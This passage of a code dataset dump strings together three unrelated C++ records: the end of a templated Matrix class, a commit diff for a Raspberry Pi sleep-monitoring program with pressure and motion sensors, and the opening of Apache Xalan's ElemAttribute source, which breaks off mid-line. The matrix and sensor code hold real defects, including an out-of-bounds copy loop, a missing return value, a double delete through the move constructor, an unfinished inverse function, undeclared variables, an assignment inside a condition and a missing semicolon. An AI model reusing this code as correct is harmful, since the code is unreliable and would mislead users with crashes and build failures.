{\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCopy constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->width; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>&& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMove constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = mat.data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tEmpty constructor.\n\t\t\t\t\t*\/\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Destructor\n\t\t\t\t~Matrix() {\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Operator overloads\n\t\t\t\tinline Vector<T>& operator[] (const unsigned int index) {\n\t\t\t\t\treturn this->data[index];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator= (const Matrix<T> &mat) {\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Boolean logic overloads\n\t\t\t\tbool operator== (const Matrix<T>& mat) {\n\t\t\t\t\tif (this->width == mat.width && this->height == mat.height) {\n\t\t\t\t\t\tbool same = true;\n\t\t\t\t\t\tfor (unsigned int i = 0; i < this->height && same; i++) {\n\t\t\t\t\t\t\tsame = (this->data[i] == mat.data[i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn same;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool operator!= (const Matrix<T>& mat) {\n\t\t\t\t\treturn !(this->operator==(mat));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Arithmetic overloads\n\t\t\t\tMatrix<T>& operator*= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar multiplication member operator, multiplies all\n\t\t\t\t\t\telements by the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] *= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator*= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix multiplication member operator.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp = new Vector<T>[this->height];\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\ttemp[i] = Vector<T>(mat.width);\n\t\t\t\t\t}\n\t\t\t\t\tfor (int r = 0; r < this->height; r++) {\n\t\t\t\t\t\tfor (int c = 0; c < mat.width; c++) {\n\t\t\t\t\t\t\tT product = 0;\n\t\t\t\t\t\t\tfor (int i = 0; i < mat.width; i++) {\n\t\t\t\t\t\t\t\tproduct += (this->data[r][i] * mat.data[i][c]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ttemp[r][c] = product;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = temp;\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator\/= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar division member operator, divides all elements\n\t\t\t\t\t\tby the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] \/= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator+= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tAddition member operator, adds all the elements of a\n\t\t\t\t\t\tgiven matrix to the matrix.\n\t\t\t\t\t*\/\t\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] += mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator-= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSubtraction member operator, subtracts the value of\n\t\t\t\t\t\teach element in a given matrix from the matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] -= mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Information functions\n\t\t\t\tinline unsigned int w() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the width of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline unsigned int h() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the height of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->height;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline bool square() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the Matrix is a square Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn (this->width == this->height);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool identity() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the matrix is an identity matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tif (this->width == this->height) {\n\t\t\t\t\t\tbool identity = true;\n\t\t\t\t\t\tfor (unsigned int y = 0; y < this->height && identity; y++) {\n\t\t\t\t\t\t\tfor (unsigned int x = 0; x < this->width && identity; x++) {\n\t\t\t\t\t\t\t\tif (x == y) identity = (this->data[y][x] == 1);\n\t\t\t\t\t\t\t\telse identity = (this->data[y][x] == 0);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn identity;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string string(bool newlines = true) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSimilar to the maths::Vector::string function, returns \n\t\t\t\t\t\ta human-readable representation of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tstd::ostringstream mat_str;\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tmat_str << '[' << this->data[i].string(false) << ']';\n\t\t\t\t\t\tif (newlines) mat_str << '\\n';\n\t\t\t\t\t}\n\t\t\t\t\treturn mat_str.str();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Matrix manipulation functions.\n\t\t\t\t\n\t\t\t\tinline void swapRows(unsigned int index_a, unsigned int index_b) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tRow swap function, for use in such algorithms as Gauss-Jordan\n\t\t\t\t\t\telimination.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data[index_a].swap(this->data[index_b]);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvoid swap(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix object swap function.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp_arr = mat.data;\n\t\t\t\t\tunsigned int temp_w = mat.width;\n\t\t\t\t\tunsigned int temp_h = mat.height;\n\t\t\t\t\tmat.data = this->data;\n\t\t\t\t\tmat.width = this->width;\n\t\t\t\t\tmat.height = this->height;\n\t\t\t\t\tthis->data = temp_arr;\n\t\t\t\t\tthis->width = temp_w;\n\t\t\t\t\tthis->height = temp_h;\n\t\t\t\t}\n\t\t};\n\t\t\n\t\t\/\/External arithmetic overloads\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> &mat, const T scalar) {\n\t\t\tMatrix<T> mat_p(mat);\n\t\t\tmat_p *= scalar;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_p(mat1);\n\t\t\tmat_p *= mat2;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator\/ (Matrix<T> &mat, const T scalar) {\n\t\t\tMatrix<T> mat_p(mat);\n\t\t\tmat_p \/= scalar;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator+ (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_sum(mat1);\n\t\t\tmat_sum += mat2;\n\t\t\treturn mat_sum;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator- (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_sum(mat1);\n\t\t\tmat_sum -= mat2;\n\t\t\treturn mat_sum;\n\t\t}\n\t\t\n\t\t\/\/Matrix related functions\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat, Vector<bool>& allowed_cols, unsigned int& size) {\n\t\t\t\/*\n\t\t\t\tRecursive matrix determinant function.\n\t\t\t*\/\n\t\t\tif (size == 2) {\n\t\t\t\t\/\/the  base case, finding the 2 by 2 matrix determinant\n\t\t\t\tint c1 = -1, c2 = -1;\n\t\t\t\tfor (unsigned int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (allowed_cols[i]) {\n\t\t\t\t\t\tif (c1 < 0) {\n\t\t\t\t\t\t\tc1 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (c2 < 0) {\n\t\t\t\t\t\t\tc2 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn (mat[mat.h() - 2][c1] * mat[mat.h() - 1][c2]) - (mat[mat.h() - 2][c2] * mat[mat.h() - 1][c1]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsize--;\n\t\t\t\tT product = 0;\n\t\t\t\tT multi = 1;\n\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (!allowed_cols[i]) continue;\n\t\t\t\t\telse {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[mat.h() - size][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsize++;\n\t\t\t\treturn product;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tT determinant(const Matrix<T>& mat) {\n\t\t\t\/*\n\t\t\t\tMatrix determinant init function.\n\t\t\t*\/\n\t\t\tif (!mat.square()) return static_cast<T>(0);\n\t\t\telse {\n\t\t\t\tif (mat.w() == 2) {\n\t\t\t\t\t\/\/shortcut to determinant of a 2 by 2 matrix\n\t\t\t\t\treturn (mat[0][0] * mat[1][1]) - (mat[0][1] * mat[1][0]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tVector<bool> allowed_cols(mat.w(), true);\n\t\t\t\t\tT product = 0;\n\t\t\t\t\tT multi = 1;\n\t\t\t\t\tint size = mat.h() - 1;\n\t\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[0][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t}\n\t\t\t\t\treturn product;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> identityMatrix(unsigned int size) {\n\t\t\t\/*\n\t\t\t\tReturns an Identity Matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> unit_m(size);\n\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\tunit_m[i] = 1;\n\t\t\t}\n\t\t\treturn unit_m;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tbool invertable(Matrix<T> &mat) {\n\t\t\treturn (mat.square() && determinant(mat) != 0);\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> inverseMatrix(Matrix<T> mat, bool tested = true) {\n\t\t\t\/*\n\t\t\t\tMatrix inverse by Gauss-Jordan method ([A|I] -> [I|A']).\n\t\t\t\tAssumes that the matrix has already been tested as invertible. \n\t\t\t\ttakes a COPY of a matrix, as this method requires the \n\t\t\t\tmanipulation of the rows of the matrix.\n\t\t\t*\/\n\t\t\tif (!tested && invertable(mat) == 0) {\n\t\t\t\t\/*\n\t\t\t\t\tIn the case that the matrix is not invertible, the function will\n\t\t\t\t\treturn an identity matrix with the height of the given matrix.\n\t\t\t\t*\/\n\t\t\t\treturn identityMatrix(mat.h());\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (mat.h() == 2) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\t2 by 2 matrix shortcut.\n\t\t\t\t\t*\/\n\t\t\t\t\tT temp = mat[0][0];\n\t\t\t\t\tmat[0][0] = mat[1][1];\n\t\t\t\t\tmat[1][1] = temp;\n\t\t\t\t\ttemp = mat[1][0];\n\t\t\t\t\tmat[1][0] = -mat[0][1];\n\t\t\t\t\tmat[0][1] = -temp;\n\t\t\t\t\treturn mat;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tMatrix<T> inverse = identityMatrix(mat.h());\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSort the matrix rows by pivot index and \n\t\t\t\t\t*\/\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> transposeMatrix(Matrix<T> &mat) {\n\t\t\t\/*\n\t\t\t\tCreates & returns a transposed version of the given matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> trans(mat.h(), mat.w(), 0);\n\t\t\tfor (unsigned int y = 0; y < mat.h(); y++) {\n\t\t\t\tfor (unsigned int x = 0; x < mat.w(); x++) {\n\t\t\t\t\ttrans[x][y] = mat[y][x];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn trans;\n\t\t}\n\t\n\t}\n}\n\n#endif<|endoftext|>"}
{"text":"<commit_before>\/\/g++ *.cpp -lpthread -lwiringPi -std=c++11\r\n\/\/LATER MET GUI MAKEFILE <sudo make>\r\n\r\n#include \"I22cCom.h\"\r\n\/\/ Sensors -------------------\r\n#include \"Sensor.h\"\r\n#include \"Log.h\"\r\n#include \"Camera.h\"\r\n#include \"Light.h\"\r\n#include \"MotionSensor.h\"\r\n#include \"PressureSensor.h\"\r\n\/\/ GUI ----------\r\n#include \"dialog.h\"\r\n#include <QApplication>\r\n#include \"temperatuur.h\"\r\n\/\/ ----------\r\n\/\/#define I2CLOC \"\/dev\/i2c-1\"\/\/ <-- this is the real I2C device you need with the scale model\r\n#define I2CLOC \"\/dev\/simudrv\"\r\n#define LOG \"Slaaplog.txt\"\r\n\r\n#include <vector>\r\n#include <iostream>\r\n#include <wiringPi.h>  \/\/compile with -lwiringPi\r\n\r\nusing namespace std;\r\n\r\nvector<Sensor*> motionSensors;    \/\/Vector of the sensors\r\nvector<Light*> lights;      \/\/Vector of the lights\r\nvector<int> active;\r\nPressureSensor* pressureSensor;\r\nCamera* cam;                \/\/Pointer to the camera\r\nLog* log;\r\n\r\nint pressureValue;\r\nbool asleep = false;\r\nbool day = true;\r\nbool anomaly = false;\r\nint temperature = 20;\r\nlong sleepTimer = 0;\r\n\r\n\r\nvoid checkAnomaly();\r\nvoid updateSensors();\r\nvoid checkCam();\r\nvoid sendAlert();\r\nvoid init();\r\n\r\nint GUImain(int argc, char *argv[]){\r\n\tQApplication a(argc, argv);\r\n\tDialog w;\r\n\tw.show();\r\n\ta.exec();\r\n}\r\n\r\nint main() {\r\n  init();\r\n  while(1) {\r\n        updateSensors();\r\n        checkAnomaly();\r\n        checkCam();\r\n        checkTemperature();\r\n  }\r\n}\r\n\r\n\/*Init for the main*\/\r\nvoid init() {\r\n\tstd::thread GUIloop(GUImain);\r\n\tGUIloop.join();\t\r\n\twiringPiSetupGpio();\r\n\tI2CCom i2c(I2CLOC);     \/\/the i2c to communicate with sensor\r\n\tLight x(22);\r\n\tMotionSensor s1(0xFC,i2c);\r\n\tMotionSensor s2(0xBC,i2c);\r\n\tMotionSensor s3(0xEC,i2c);\r\n\tPressureSensor s4(0x06, i2c);\r\n\tLog l1(LOG);\r\n\tCamera c1;\r\n\tcam = &c1;\r\n\tlog = &l1;\r\n\tpressureSensor = &s4;\r\n\tmotionSensors.push_back(&s1);\r\n\tmotionSensors.push_back(&s2);\r\n\tmotionSensors.push_back(&s3);\r\n\tlights.push_back(&x);\r\n\r\nactive.resize(motionSensors.size());\r\n}\r\n\/*Updates sensors*\/\r\nvoid updateSensors() {\r\n    \/\/update van elke sensor de value en de active\r\n    bool alert = true;\r\n    for(int i = 0; i<motionSensors.size();i++) {\r\n        if(motionSensors[i]->check()) {\r\n            \/\/active[i]=1;\r\n            alert = false;\r\n\t\tcout <<\"halleyula\" <<endl;\r\n        } else{\r\n            \/\/active[i]=0;\r\n        }\r\n    }\r\n    if (s4->check()) {\r\n        asleep = true;\r\n    }\r\n    if(alert & !asleep) {\r\n        sendAlert();\r\n    }\r\n    pressureValue = s4->getValue();\r\n}\r\n\r\n\/*Send Alarm*\/\r\nvoid sendAlert(){\r\n    cout<<\"Alert\"<<endl;\r\n}\r\n\r\n\/*Sets the camera*\/\r\nvoid checkCam(){\r\n    if(day) {\r\n        cam->setCamera(true);\r\n    } else if(anomaly) {\r\n        cam->setCamera(true);\r\n    } else {\r\n        cam->setCamera(false);\r\n    }\r\n}\r\n\r\nvoid checkAnomaly(){\r\n    if(pressureValue < 20) {\r\n        asleep = false;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 20 && pressureValue < 150) {\r\n        anomaly = true;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 150 && pressureValue < 200) {\r\n        sleepTimer = 0;\r\n        \/\/ Changing positions while asleep\r\n        \/\/Do nothing, maybe verify if person really is sleeping\r\n    } else if(pressureValue > 200 && sleepTimer = 0) {\r\n        sleepTimer = time(0) + 900;\r\n    } else if(pressureValue >200 && sleepTimer != 0) {\r\n        if( time(0) >= sleepTimer) {\r\n            asleep = true\r\n        }\r\n    }\r\n    \r\n}\r\n\r\ncheckTemperature() {\r\n    temperature = IngesteldeTemperatuur;\r\n}\r\n\r\n<commit_msg>added comments<commit_after>\/\/g++ *.cpp -lpthread -lwiringPi -std=c++11\r\n\/\/LATER MET GUI MAKEFILE <sudo make>\r\n\r\n#include \"I22cCom.h\"\r\n\/\/ Sensors -------------------\r\n#include \"Sensor.h\"\r\n#include \"Log.h\"\r\n#include \"Camera.h\"\r\n#include \"Light.h\"\r\n#include \"MotionSensor.h\"\r\n#include \"PressureSensor.h\"\r\n\/\/ GUI ----------\r\n#include \"dialog.h\"\r\n#include <QApplication>\r\n#include \"temperatuur.h\"\r\n\/\/ ----------\r\n\/\/#define I2CLOC \"\/dev\/i2c-1\"\/\/ <-- this is the real I2C device you need with the scale model\r\n#define I2CLOC \"\/dev\/simudrv\"\r\n#define LOG \"Slaaplog.txt\"\r\n\r\n#include <vector>\r\n#include <iostream>\r\n#include <wiringPi.h>  \/\/compile with -lwiringPi\r\n\r\nusing namespace std;\r\n\r\nvector<Sensor*> motionSensors;    \/\/Vector of the sensors\r\nvector<Light*> lights;      \/\/Vector of the lights\r\nvector<int> active;\r\nPressureSensor* pressureSensor;\r\nCamera* cam;                \/\/Pointer to the camera\r\nLog* log;\r\n\r\nint pressureValue;\r\nbool asleep = false;\r\nbool day = true;\r\nbool anomaly = false;\r\nint temperature = 20;\r\nlong sleepTimer = 0;\r\n\r\n\r\nvoid checkAnomaly();\r\nvoid updateSensors();\r\nvoid checkCam();\r\nvoid sendAlert();\r\nvoid init();\r\n\r\nint GUImain(int argc, char *argv[]){\r\n\tQApplication a(argc, argv);\r\n\tDialog w;\r\n\tw.show();\r\n\ta.exec();\r\n}\r\n\r\nint main() {\r\n  init();\r\n  while(1) {\r\n        updateSensors();\r\n        checkAnomaly();\r\n        checkCam();\r\n        checkTemperature();\r\n  }\r\n}\r\n\r\n\/*Init for the main*\/\r\nvoid init() {\r\n\tstd::thread GUIloop(GUImain);\r\n\tGUIloop.join();\t\r\n\twiringPiSetupGpio();\r\n\tI2CCom i2c(I2CLOC);     \/\/the i2c to communicate with sensor\r\n\tLight x(22);\r\n\tMotionSensor s1(0xFC,i2c);\r\n\tMotionSensor s2(0xBC,i2c);\r\n\tMotionSensor s3(0xEC,i2c);\r\n\tPressureSensor s4(0x06, i2c);\r\n\tLog l1(LOG);\r\n\tCamera c1;\r\n\tcam = &c1;\r\n\tlog = &l1;\r\n\tpressureSensor = &s4;\r\n\tmotionSensors.push_back(&s1);\r\n\tmotionSensors.push_back(&s2);\r\n\tmotionSensors.push_back(&s3);\r\n\tlights.push_back(&x);\r\n\r\nactive.resize(motionSensors.size());\r\n}\r\n\/*Updates sensors*\/\r\nvoid updateSensors() {\r\n    \/\/update van elke sensor de value en de active\r\n    bool alert = true;\r\n    for(int i = 0; i<motionSensors.size();i++) {\r\n        if(motionSensors[i]->check()) {\r\n            \/\/active[i]=1;\r\n            alert = false;\r\n\t\tcout <<\"halleyula\" <<endl;\r\n        } else{\r\n            \/\/active[i]=0;\r\n        }\r\n    }\r\n    if (s4->check()) {\r\n        asleep = true;\r\n    }\r\n    if(alert & !asleep) {\r\n        sendAlert();\r\n    }\r\n    pressureValue = s4->getValue();\r\n}\r\n\r\n\/*Send Alarm*\/\r\nvoid sendAlert(){\r\n    cout<<\"Alert\"<<endl;\r\n}\r\n\r\n\/*Sets the camera*\/\r\nvoid checkCam(){\r\n    if(day) {\r\n        cam->setCamera(true);\r\n    } else if(anomaly) {\r\n        cam->setCamera(true);\r\n    } else {\r\n        cam->setCamera(false);\r\n    }\r\n}\r\n\r\n\/*Checks if there is an anomaly, otherwise checks if Tim's asleep*\/\r\nvoid checkAnomaly(){\r\n    if(pressureValue < 20) {\r\n        asleep = false;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 20 && pressureValue < 150) {\r\n        anomaly = true;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 150 && pressureValue < 200) {\r\n        sleepTimer = 0;\r\n        \/\/ Changing positions while asleep\r\n        \/\/Do nothing, maybe verify if person really is sleeping\r\n    } else if(pressureValue > 200 && sleepTimer = 0) {\r\n        sleepTimer = time(0) + 900;\r\n    } else if(pressureValue >200 && sleepTimer != 0) {\r\n        if( time(0) >= sleepTimer) {\r\n            asleep = true\r\n        }\r\n    }\r\n    \r\n}\r\n\r\n\/*Checks the set temperature from the gui*\/\r\ncheckTemperature() {\r\n    temperature = IngesteldeTemperatuur;\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#include \"ElemAttribute.hpp\"\n\n\n\n#include <sax\/AttributeList.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\n#include <DOMSupport\/DOMServices.hpp>\n\n\n\n#include \"AVT.hpp\"\n#include \"Constants.hpp\"\n#include \"StylesheetConstructionContext.hpp\"\n#include \"StylesheetExecutionContext.hpp\"\n\n\n\nElemAttribute::ElemAttribute(\n\t\t\tStylesheetConstructionContext&\tconstructionContext,\n\t\t\tStylesheet&\t\t\t\t\t\tstylesheetTree,\n\t\t\tconst AttributeList&\t\t\tatts,\n\t\t\tint\t\t\t\t\t\t\t\tlineNumber,\n\t\t\tint\t\t\t\t\t\t\t\tcolumnNumber) :\n\tElemTemplateElement(constructionContext,\n\t\t\t\t\t\tstylesheetTree,\n\t\t\t\t\t\tlineNumber,\n\t\t\t\t\t\tcolumnNumber,\n\t\t\t\t\t\tConstants::ELEMNAME_ATTRIBUTE),\n\tm_pNameAVT(0),\t\n\tm_pNamespaceAVT(0)\n{\n\tconst unsigned int\tnAttrs = atts.getLength();\n\n\tfor(unsigned int i = 0; i < nAttrs; i++)\n\t{\n\t\tconst XalanDOMChar*\tconst\taname = atts.getName(i);\n\n\t\tif(equals(aname, Constants::ATTRNAME_NAME))\n\t\t{\n\t\t\tm_pNameAVT = new AVT(getLocator(), aname, atts.getType(i), atts.getValue(i),\n\t\t\t\t*this, constructionContext);\n\t\t}\n\t\telse if(equals(aname,Constants::ATTRNAME_NAMESPACE))\n\t\t{\n\t\t\tm_pNamespaceAVT = new AVT(getLocator(), aname, atts.getType(i), atts.getValue(i),\n\t\t\t\t*this, constructionContext);\n\t\t}\n\t\telse if(!(isAttrOK(aname, atts, i, constructionContext) || \n\t\t\t\t processSpaceAttr(aname, atts, i, constructionContext)))\n\t\t{\n\t\t\tconstructionContext.error(\n\t\t\t\t\"xsl:attribute has an illegal attribute\",\n\t\t\t\t0,\n\t\t\t\tthis);\n\t\t}\n\t}\n\n\tif(0 == m_pNameAVT)\n\t{\n#if defined(XALAN_CANNOT_DELETE_CONST)\n\t\tdelete (AVT*)m_pNamespaceAVT;\n#else\n\t\tdelete m_pNamespaceAVT;\n#endif\n\n\t\tconstructionContext.error(\n\t\t\t\"xsl:attribute must have a 'name' attribute\",\n\t\t\t0,\n\t\t\tthis);\n\t} \n\t\n}\n\n\n\nElemAttribute::~ElemAttribute()\n{\n#if defined(XALAN_CANNOT_DELETE_CONST)\n\tdelete (AVT*)m_pNameAVT;\n\n\tdelete (AVT*)m_pNamespaceAVT;\n#else\n\tdelete m_pNameAVT;\n\n\tdelete m_pNamespaceAVT;\n#endif\n}\n\n\n\nconst XalanDOMString&\nElemAttribute::getElementName() const\n{\n\treturn Constants::ELEMNAME_ATTRIBUTE_WITH_PREFIX_STRING;\n}\n\n\n\nvoid\nElemAttribute::execute(StylesheetExecutionContext&\t\texecutionContext) const\n{\n\tassert(m_pNameAVT != 0);\n\n\tElemTemplateElement::execute(executionContext);\n\n\tStylesheetExecutionContext::GetAndReleaseCachedString\tattrNameGuard(executionContext);\n\n\tXalanDOMString&\t\tattrName = attrNameGuard.get();\n\n\tXalanNode* sourceNode = executionContext.getCurrentNode();\n\n\tm_pNameAVT->evaluate(attrName, sourceNode, *this, 